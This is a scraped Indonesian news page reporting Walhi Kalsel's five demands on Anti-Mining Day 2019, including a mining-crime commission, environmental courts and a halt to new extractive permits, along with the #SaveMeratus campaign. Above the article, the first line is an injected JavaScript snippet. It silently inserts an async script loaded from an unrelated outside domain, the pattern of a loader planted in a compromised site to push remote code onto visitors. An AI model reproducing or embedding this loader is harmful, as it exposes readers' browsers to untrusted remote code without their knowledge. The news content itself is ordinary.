(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Wahana Lingkungan Hidup (Walhi) Kalsel kembali menyerukan penolakan terhadap tambang batubara dan industri ekstraktif dalam peringatan Hari Anti Tambang (Hatam) 2019. Salah satu yang dituntut, adalah pembentukan Komisi Khusus Kejahatan Tambang.
Direktur Eksekutif Walhi Kalsel, Kisworo Dwi Cahyono mengungkapkan Walhi bersama organisasi lingkungan lainnya di Kalsel terus menerus menyerukan agar pemerintah pusat dan daerah segera membentuk Komisi Khusus Kejahatan Tambang. Ia mengatakan ada 5 poin yang didesak pihaknya terhadap pemerintah pusat maupun daerah.
“Dalam peringatan Hari Anti Tambang 2019 ini Walhi Kalimantan Selatan mendesak Pemerintah pusat dan daerah harus segera membentuk Komisi Khusus Kejahatan Tambang,” ujarnya.
Selain itu, Walhi Kalsel juga mendesak Pemerintah pusat dan daerah untuk segera membentuk pengadilan lingkungan. Tidak hanya itu, Pemerintah pusat dan daerah juga dituntut untuk segera melakukan audit lingkungan dan mencabut ijin-ijin tambang yang nakal dan ijin tambang yang masih belum beroperasi dan mengembalikan Kawasan itu kepada rakyat sebagai bentuk bahwa Negara mengakui Wilayah Kelola Rakyat
“Kita juga meminta Pemerintah pusat dan daerah harus serius dalam menjamin keselamatan rakyat dan lingkungan, terutama dalam penyusunan program di dokumen RPJM dan RKP,” lanjut Direktur Eksekutif Walhi Kalsel.
Sedangkan pada point terakhir, para aktivis lingkungan ini juga mendesak Pemerintah pusat dan daerah harus menyetop izin-izin baru industri ekstraktif dan segera menyiapkan program-program untuk energi baru dan pendapatan daerah yang lebih ramah lingkungan dan berkeadilan lintas generasi.
Bulan perlawanan terhadap industri tambang diperingati pada tanggal 29 Mei sejak 13 tahun lalu. Hal ini dipicu sejak terjadinya peristiwa lumpur Lapindo yang mana sampai sekarang, masih belum ada perubahan yang signifikan terkaot langkah-langkah Negara dalam penanganan kejahatan tambang.
Bahkan, Walhi Kalsel memandang Negara masih lalai untuk menjamin keselamatan rakyat dan lingkungan dan terindikasi Negara masih terjebak dalam balutan kekuatan korporasi dan pengusaha tambang.
Tidak terkecuali, penyelenggaraan Pemilu 2019 yang baru-baru ini digelar pun juga tidak lepas dari cengkraman para pengusaha tambang, termasuk di Kalimantan Selatan. “Baik Pilpres maupun Pileg masih diisi oleh para pengusaha tambang, baik secara langsung ikut dalam kontestasi Pemilu maupun bermain dibelakang layar,” ujar Kisworo Dwi Cahyono.
Dari data yang dimiliki Walhi, Kalimantan Selatan sedang dalam kondisi darurat ruang dan darurat bencana ekologis. Dimana dari total wilayahnya 3,7 juta hektare, 50 persen wilayah Kalimantan Selatan dibebani ijin tambang (33 persen) dan Sawit (17 persen).
“Hal ini tentu menjadi perhatian semua pihak khususnya pemerintah pusat dan pemerintah daerah. Harus ada langkah-langkah yang tegas dan jelas oleh negara dalam mengurai permasalahan kejahatan tambang dan untuk menjamin keselamatan rakyat dan lingkungan di Kalimantan Selatan,” pungkasnya Kisworo atau yang akrab disapa Cak Kis.
Gerakan #SaveMeratus
Aksi melawan tambang yang saat ini dihadapi Walhi Kalsel, yakni dengan mempertahankan rimba terakhir Pegunungan Meratus sehingga memicu munculnya Gerakan #SaveMeratus. Dalam kasus ini, Walhi mengajukan gugatan terhadap Menteri ESDM yang mana merupakan salah satu bukti bahwa pentingnya penyelamatan rakyat dan lingkungan di Kalimantan Selatan dari kerakusan pertambangan.
Menurut pemantauan para aktifis lingkungan di lapangan, masih saja maraknya Pertambangan Tanpa Izin (Peti) di Kalsel. Seperti halnya yang baru baru ini terjadi di Kabupaten Tabalong dan rusaknya tutupan lahan, hutan dan sungai. Sungai Amandit kabupaten HSS, masih seringnya terjadi bencana banjir, tergusurnya dan hilangnya ruang hidup rakyat oleh aktivitas pertambangan seperti di Desa Wonorejo kabupaten Balangan. Serta terancam hilangnya pulau-pulau di Pulau Sebuku dan Pulau Laut-Kotabaru.
“Dari berbagai kejadian ini seharusnya menjadi cambuk keras bagi pemerintah pusat dan pemerintah daerah untuk segera bertindak, terutama dalam penegakan hukum di sektor pertambangan. Kerusakan dan dampak buruk akibat daya rusak tambang yang ada itu pun tidak sebanding dengan Royalti maupun PAD yang diterima oleh Daerah,” ujar Kisworo. (Rico)
5 Tuntutan Walhi di Hatam 2019
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
This website uses cookies.